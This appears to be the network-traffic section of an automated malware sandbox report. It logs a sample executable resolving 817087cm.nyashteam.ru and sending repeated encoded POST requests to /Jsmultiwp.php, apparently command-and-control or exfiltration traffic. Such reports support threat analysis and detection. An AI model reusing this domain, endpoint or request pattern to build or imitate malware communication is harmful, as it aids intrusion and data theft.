Dec 10, 2024 19:02:40.841595888 CET	50008	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:40.891135931 CET	80	50008	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:41.009131908 CET	50006	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:41.009237051 CET	50008	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:41.009927988 CET	50013	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:41.129322052 CET	80	50006	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:41.129389048 CET	50006	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:41.129692078 CET	80	50013	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:41.129765034 CET	50013	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:41.129961014 CET	80	50008	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:41.130004883 CET	50008	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:41.130063057 CET	50013	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:41.250648022 CET	80	50013	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:41.479351997 CET	50013	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:41.600732088 CET	80	50013	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:41.600749016 CET	80	50013	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:41.600812912 CET	80	50013	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:42.542716980 CET	80	50013	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:42.637639999 CET	50013	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:43.471566916 CET	80	50013	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:43.526113987 CET	50013	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:43.593880892 CET	50013	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:43.594765902 CET	50019	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:43.713876963 CET	80	50013	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:43.713933945 CET	50013	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:43.714041948 CET	80	50019	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:43.714106083 CET	50019	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:43.714245081 CET	50019	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:43.833611012 CET	80	50019	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:44.073729992 CET	50019	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:44.195578098 CET	80	50019	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:44.195595980 CET	80	50019	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:44.195611000 CET	80	50019	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:45.131669044 CET	80	50019	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:45.323023081 CET	50019	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:45.824130058 CET	50025	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:45.824238062 CET	50019	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:45.945110083 CET	50026	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:45.948275089 CET	80	50025	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:45.948362112 CET	50025	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:45.948451996 CET	50025	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:45.948894978 CET	80	50019	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:45.948945045 CET	50019	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:46.064810038 CET	80	50026	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:46.064945936 CET	50026	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:46.065228939 CET	50026	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:46.067768097 CET	80	50025	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:46.184492111 CET	80	50026	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:46.307441950 CET	50025	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:46.417625904 CET	50026	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:46.427191973 CET	80	50025	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:46.427217007 CET	80	50025	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:46.537559986 CET	80	50026	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:46.537604094 CET	80	50026	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:46.537661076 CET	80	50026	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:47.082741022 CET	80	50025	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:47.135514021 CET	50025	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:47.375035048 CET	80	50025	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:47.479852915 CET	80	50026	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:47.526130915 CET	50025	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:47.526175976 CET	50026	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:48.008861065 CET	80	50026	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:48.133821011 CET	50026	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:48.133821011 CET	50025	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:48.137604952 CET	50032	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:48.253788948 CET	80	50026	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:48.254187107 CET	50026	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:48.254242897 CET	80	50025	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:48.257078886 CET	80	50032	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:48.257190943 CET	50025	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:48.257190943 CET	50032	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:48.257383108 CET	50032	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:48.379749060 CET	80	50032	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:48.604316950 CET	50032	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:48.723798037 CET	80	50032	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:48.723835945 CET	80	50032	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:48.723893881 CET	80	50032	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:49.456684113 CET	80	50032	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:49.526145935 CET	50032	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:49.735419989 CET	80	50032	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:49.838653088 CET	50032	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:49.927356005 CET	80	50032	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:50.027687073 CET	50032	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:50.054300070 CET	50032	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:50.054305077 CET	50038	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:50.174319983 CET	80	50038	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:50.174772024 CET	80	50032	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:50.176090956 CET	50032	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:50.176090956 CET	50038	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:50.179615974 CET	50038	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:50.299034119 CET	80	50038	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:50.526494026 CET	50038	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:50.649429083 CET	80	50038	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:50.649446964 CET	80	50038	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:50.649463892 CET	80	50038	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:51.594438076 CET	80	50038	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:51.635543108 CET	50038	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:52.141336918 CET	80	50038	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:52.257883072 CET	50044	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:52.257882118 CET	50038	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:52.379981995 CET	80	50044	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:52.380172968 CET	50044	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:52.380320072 CET	50044	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:52.381675005 CET	80	50038	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:52.381738901 CET	50038	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:52.386495113 CET	50044	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:52.386545897 CET	50045	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:52.506619930 CET	80	50044	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:52.557729006 CET	50046	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:52.669909954 CET	80	50045	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:52.671967030 CET	50045	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:52.672097921 CET	50045	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:52.678534031 CET	80	50046	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:52.679820061 CET	50046	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:52.679960966 CET	50046	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:52.708137989 CET	80	50044	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:52.791318893 CET	80	50045	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:52.799299955 CET	80	50046	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:53.026241064 CET	50046	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:53.026397943 CET	50045	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:53.145790100 CET	80	50046	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:53.145806074 CET	80	50046	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:53.145817995 CET	80	50046	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:53.145893097 CET	80	50045	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:53.146209002 CET	80	50045	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:53.443438053 CET	80	50044	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:53.443505049 CET	50044	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:54.095129967 CET	80	50045	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:54.096431017 CET	80	50046	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:54.338650942 CET	50046	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:54.338664055 CET	50045	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:54.601216078 CET	80	50046	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:54.628938913 CET	80	50045	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:54.731796026 CET	50045	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:54.731986046 CET	50046	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:54.732702017 CET	50052	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:54.852421999 CET	80	50045	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:54.852826118 CET	80	50052	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:54.852838039 CET	80	50046	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:54.852936029 CET	50052	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:54.852960110 CET	50045	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:54.853034019 CET	50046	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:54.853212118 CET	50052	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:54.973643064 CET	80	50052	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:55.198138952 CET	50052	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:55.317785025 CET	80	50052	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:55.317814112 CET	80	50052	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:55.317831993 CET	80	50052	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:55.997744083 CET	80	50052	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:56.229422092 CET	50052	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:56.496227026 CET	80	50052	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:56.647653103 CET	50052	80	192.168.2.4	104.21.2.8

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 10, 2024 19:00:30.867041111 CET	54340	53	192.168.2.4	1.1.1.1
Dec 10, 2024 19:00:31.593157053 CET	53	54340	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 10, 2024 19:00:30.867041111 CET	192.168.2.4	1.1.1.1	0xe936	Standard query (0)	817087cm.nyashteam.ru	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 10, 2024 19:00:31.593157053 CET	1.1.1.1	192.168.2.4	0xe936	No error (0)	817087cm.nyashteam.ru		104.21.2.8	A (IP address)	IN (0x0001)	false
Dec 10, 2024 19:00:31.593157053 CET	1.1.1.1	192.168.2.4	0xe936	No error (0)	817087cm.nyashteam.ru		172.67.186.200	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

817087cm.nyashteam.ru

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49732	104.21.2.8	80	7236	C:\Users\user\Desktop\0wdppTE7Op.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 19:00:31.743418932 CET	322	OUT	POST /Jsmultiwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 817087cm.nyashteam.ru Content-Length: 344 Expect: 100-continue Connection: Keep-Alive
Dec 10, 2024 19:00:32.097429037 CET	344	OUT	Data Raw: 00 07 04 04 06 0a 04 06 05 06 02 01 02 07 01 01 00 06 05 0c 02 03 03 0f 02 03 0a 03 04 0e 06 01 0f 05 06 5a 01 03 04 01 0c 00 04 04 07 00 02 07 06 54 0f 09 0d 50 06 56 06 50 04 57 06 51 05 0e 01 05 0e 0c 00 07 04 05 0d 01 0e 01 0f 03 0c 09 04 03 Data Ascii: ZTPVPWQ[PPP\L~~`Xc[r]aeRz_`lcXh]p{R]{czShtg`~O~V@AxSb~LS
Dec 10, 2024 19:00:32.820439100 CET	25	IN	HTTP/1.1 100 Continue
Dec 10, 2024 19:00:33.078632116 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 18:00:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=AI%2F0CYl6KzkcaSmhgD7D4A8qXalg47%2B42kakeYoFdpEgXKqblzyJ3mpVlq1h4LlXk6CnZeIk2YnXEfyKNrcR0qdDYUulc3bfx3YZPU12qmAr0YMmh7AVRigZtqs2llmuqEj5%2BgR%2FxSg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eff229428551851-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4267&min_rtt=1688&rtt_var=5792&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=666&delivery_rate=65397&cwnd=213&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 35 34 30 0d 0a 56 4a 7d 5d 7a 7d 56 5f 6f 5c 59 5b 7c 62 60 5e 7e 67 51 4f 7e 60 75 08 6d 4d 5d 59 7f 71 73 59 63 5d 6a 53 6d 5f 57 02 62 58 6b 5f 7e 61 78 01 55 4b 71 42 60 4c 60 5e 6b 5c 7d 4f 6b 01 65 55 78 58 73 53 69 5d 74 5a 75 04 6d 4f 63 72 71 47 7c 5f 57 58 7d 6f 64 40 6a 67 51 44 62 66 7b 06 7c 5b 76 59 69 60 7a 5f 6f 59 78 04 7b 77 5a 07 78 53 55 00 6e 62 78 05 6c 05 71 5d 7c 5e 51 5b 7b 59 7c 07 7d 04 64 5f 62 61 78 02 7a 51 41 5b 7f 74 68 4f 6b 61 5f 41 76 6f 6f 5f 7b 6f 7b 5d 74 5e 76 0d 7b 71 71 47 69 7c 69 5c 78 5f 7e 49 62 73 77 44 76 5f 77 5f 63 61 54 50 7e 5d 7a 06 63 5b 7d 04 76 66 63 50 7f 6f 75 00 77 7c 70 04 7c 60 7c 02 78 6f 67 03 6c 5e 66 02 7c 6d 6b 51 77 59 6f 5c 69 62 6d 50 7e 6e 78 50 78 0b 6e 4c 69 04 61 4d 7b 5d 46 51 7f 55 6b 51 6a 5e 70 0d 69 67 79 58 7b 7d 73 01 79 62 5a 00 7f 5f 7f 49 6a 59 70 50 6b 63 7e 54 6e 60 73 5f 6a 5c 6c 01 76 63 57 51 7b 5c 79 49 77 66 52 01 7c 66 68 07 7d 58 53 4f 77 4c 55 4a 7d 72 53 07 7f 77 58 09 78 66 70 0c 7e 73 63 04 76 5c 71 04 74 [TRUNCATED] Data Ascii: 540VJ}]z}V_o\Y[\|b`^~gQO~`umM]YqsYc]jSm_WbXk_~axUKqB`L`^k\}OkeUxXsSi]tZumOcrqG\|_WX}od@jgQDbf{\|[vYi`z_oYx{wZxSUnbxlq]\|^Q[{Y\|}d_baxzQA[thOka_Avoo_{o{]t^v{qqGi\|i\x_~IbswDv_w_caTP~]zc[}vfcPouw\|p\|`\|xogl^f\|mkQwYo\ibmP~nxPxnLiaM{]FQUkQj^pigyX{}sybZ_IjYpPkc~Tn`s_j\lvcWQ{\yIwfR\|fh}XSOwLUJ}rSwXxfp~scv\qtOq~aX~R\|}gu_sJxbi~pyI{Ih{g^{}xrl{]nO`\|IxYdI~rwa^~RgKg`\|aau\|Zxl`vpvyaWG\|lrAxOvws
Dec 10, 2024 19:00:33.078660011 CET	917	IN	Data Raw: 55 4b 76 5f 7c 04 74 4f 50 0c 7c 70 54 40 77 4c 75 4f 77 75 68 08 7c 6c 71 4f 76 7c 68 4d 7e 63 68 07 7b 42 67 01 78 5e 62 01 7c 6d 60 0c 74 77 6c 02 7e 72 5c 41 7d 43 73 0a 7b 7d 7e 04 7f 62 75 06 7f 60 70 0b 7f 6c 60 09 7e 4e 78 0c 7e 77 66 4d Data Ascii: UKv_\|tOP\|pT@wLuOwuh\|lqOv\|hM~ch{Bgx^b\|m`twl~r\A}Cs{}~bu`pl`~Nx~wfM{CYKyrhFqsI~Io~`SyMl~LxKwsSByauuXZ}vx@vuvrkreO}gfyfl}]{wr}tqqajH~lpA}YkKvas{biG}^SKxIp{gRy}yLpKx]z{]NZ{Y^}rcu_QYjRp^\|^dA\|rmAvoo_lodFw`[Sm
Dec 10, 2024 19:00:33.138022900 CET	298	OUT	POST /Jsmultiwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 817087cm.nyashteam.ru Content-Length: 380 Expect: 100-continue
Dec 10, 2024 19:00:33.464736938 CET	25	IN	HTTP/1.1 100 Continue
Dec 10, 2024 19:00:33.465121031 CET	380	OUT	Data Raw: 50 5d 58 5e 5d 5b 50 50 5c 56 5b 59 50 5d 5a 5c 50 5b 59 5b 50 5b 53 5c 5f 58 5d 5d 55 59 58 5f 41 5a 50 5c 5d 57 50 5f 5c 53 57 5a 54 53 52 55 50 50 5f 5e 5c 5f 54 56 56 5e 5e 5f 59 5c 5f 59 54 56 5f 5b 54 5f 51 56 5b 5e 42 59 58 5c 5c 52 53 5a Data Ascii: P]X^][PP\V[YP]Z\P[Y[P[S\_X]]UYX_AZP\]WP_\SWZTSRUPP_^\_TVV^^_Y\_YTV_[T_QV[^BYX\\RSZ[P_Y_@WT^Z[]UQV\^SPQBX[U\R__GXUIQ[\]^WZ^QXY^\^Y[[PY]\^^X]U^DYXWXT\UUYB_YYS_PT]FU\Z[_X[WHZPZSPWXYY_YY\_#^&-Y(? [!+4 Z(%8 $;64/461#V/;$_" X(7
Dec 10, 2024 19:00:33.938240051 CET	963	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 18:00:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DDKKOu4BUdtNC2g3hwyjVcZwpdhqvxQCwaCLyidX71RxMiDLaeaKHlEVrKbr7ODG3Tsucw%2FgNBH4kvGTNhYIG12V%2FfKMdx4O3tryPhElwZy0EvZQgBBE4c9t5pUQ%2BhroG1KJQNChys8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eff22982d611851-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=6489&min_rtt=1688&rtt_var=8804&sent=7&recv=9&lost=0&retrans=0&sent_bytes=2203&recv_bytes=1344&delivery_rate=2507155&cwnd=217&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 03 15 24 06 37 5d 34 08 36 54 31 59 2e 00 24 5d 2d 28 09 5d 2e 06 21 5e 21 5f 32 5a 2e 05 21 01 28 3b 28 06 32 1c 3a 12 27 26 21 57 3e 1e 28 51 06 1c 26 02 27 14 36 53 3c 3c 3e 06 24 5b 38 58 3d 37 29 5d 3d 3d 2f 51 20 05 12 5e 25 3d 38 09 3f 2f 2e 0d 27 2c 3a 1a 3b 23 3a 06 25 3d 2a 51 00 16 21 55 28 32 23 00 23 1e 03 0d 22 32 20 5f 3c 35 23 58 33 3d 09 0e 33 2c 0c 5b 27 12 2c 06 27 11 04 0d 24 2c 3b 5c 23 59 37 50 31 19 23 5d 2d 03 28 57 00 3f 5a 4f 0d 0a 30 0d 0a 0d 0a Data Ascii: 98$7]46T1Y.$]-(].!^!_2Z.!(;(2:'&!W>(Q&'6S<<>$[8X=7)]==/Q ^%=8?/.',:;#:%=*Q!U(2##"2 _<5#X3=3,[','$,;\#Y7P1#]-(W?ZO0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49734	104.21.2.8	80	7236	C:\Users\user\Desktop\0wdppTE7Op.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 19:00:34.693880081 CET	323	OUT	POST /Jsmultiwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 817087cm.nyashteam.ru Content-Length: 1852 Expect: 100-continue Connection: Keep-Alive
Dec 10, 2024 19:00:35.047480106 CET	1852	OUT	Data Raw: 50 5e 5d 52 5d 5f 50 57 5c 56 5b 59 50 58 5a 5a 50 54 59 58 50 5d 53 5b 5f 58 5d 5d 55 59 58 5f 41 5a 50 5c 5d 57 50 5f 5c 53 57 5a 54 53 52 55 50 50 5f 5e 5c 5f 54 56 56 5e 5e 5f 59 5c 5f 59 54 56 5f 5b 54 5f 51 56 5b 5e 42 59 58 5c 5c 52 53 5a Data Ascii: P^]R]_PW\V[YPXZZPTYXP]S[_X]]UYX_AZP\]WP_\SWZTSRUPP_^\_TVV^^_Y\_YTV_[T_QV[^BYX\\RSZ[P_Y_@WT^Z[]UQV\^SPQBX[U\R__GXUIQ[\]^WZ^QXY^\^Y[[PY]\^^X]U^DYXWXT\UUYB_YYS_PT]FU\Z[_X[WHZPZSPWXYY_YY\_ 2>?,$6$;=-#<(38&;5V (!];?46W4;+$_" X(7
Dec 10, 2024 19:00:35.786709070 CET	25	IN	HTTP/1.1 100 Continue
Dec 10, 2024 19:00:36.311364889 CET	961	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 18:00:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ySietLLoDR0GgyYMhe5myVHUTatdGKUBjgLndBU6mn1c0ru7dwVWi9XadoVOp3FopzY7PHwyGcv3bWZ2wSzkMFbie0XmsWqxP%2F0x1a8kyLZZlAqh%2BJOB8%2BIepAgfz3kkK1v3JOJ%2FguI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eff22a6bd984239-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4652&min_rtt=1613&rtt_var=6684&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2175&delivery_rate=56307&cwnd=228&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 03 15 27 12 20 5d 2b 1d 20 32 3d 5b 39 3a 24 10 2e 06 3b 17 2d 3b 35 1b 36 29 0c 59 3a 3f 3e 5f 3f 5d 3f 5e 25 1c 26 59 33 50 2d 52 29 24 28 51 06 1c 25 5f 30 2a 3d 0b 3c 11 0b 5e 24 5b 3c 5f 29 0e 26 03 3e 3e 2c 0e 23 5d 27 03 26 04 33 19 2a 2f 39 52 30 3c 21 41 38 55 21 5b 31 3d 2a 51 00 16 21 17 28 32 24 13 34 30 3e 1c 35 1c 34 19 28 35 3b 12 33 04 28 51 27 2f 22 58 30 02 2b 59 27 3c 26 0f 30 3f 3c 04 23 3c 24 08 27 33 23 5d 2d 03 28 57 00 3f 5a 4f 0d 0a 30 0d 0a 0d 0a Data Ascii: 98' ]+ 2=[9:$.;-;56)Y:?>_?]?^%&Y3P-R)$(Q%_0=<^$[<_)&>>,#]'&3/9R0<!A8U![1=*Q!(2$40>54(5;3(Q'/"X0+Y'<&0?<#<$'3#]-(W?ZO0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49735	104.21.2.8	80	7236	C:\Users\user\Desktop\0wdppTE7Op.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 19:00:34.698431969 CET	299	OUT	POST /Jsmultiwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 817087cm.nyashteam.ru Content-Length: 2528 Expect: 100-continue
Dec 10, 2024 19:00:35.057224989 CET	2528	OUT	Data Raw: 50 59 5d 5e 5d 5c 55 57 5c 56 5b 59 50 5c 5a 5e 50 5a 59 59 50 58 53 5c 5f 58 5d 5d 55 59 58 5f 41 5a 50 5c 5d 57 50 5f 5c 53 57 5a 54 53 52 55 50 50 5f 5e 5c 5f 54 56 56 5e 5e 5f 59 5c 5f 59 54 56 5f 5b 54 5f 51 56 5b 5e 42 59 58 5c 5c 52 53 5a Data Ascii: PY]^]\UW\V[YP\Z^PZYYPXS\_X]]UYX_AZP\]WP_\SWZTSRUPP_^\_TVV^^_Y\_YTV_[T_QV[^BYX\\RSZ[P_Y_@WT^Z[]UQV\^SPQBX[U\R__GXUIQ[\]^WZ^QXY^\^Y[[PY]\^^X]U^DYXWXT\UUYB_YYS_PT]FU\Z[_X[WHZPZSPWXYY_YY\_#X1U!(/;"C*1 +]$(/]%;#(X,?]5+S/;$_" X('
Dec 10, 2024 19:00:35.792491913 CET	25	IN	HTTP/1.1 100 Continue
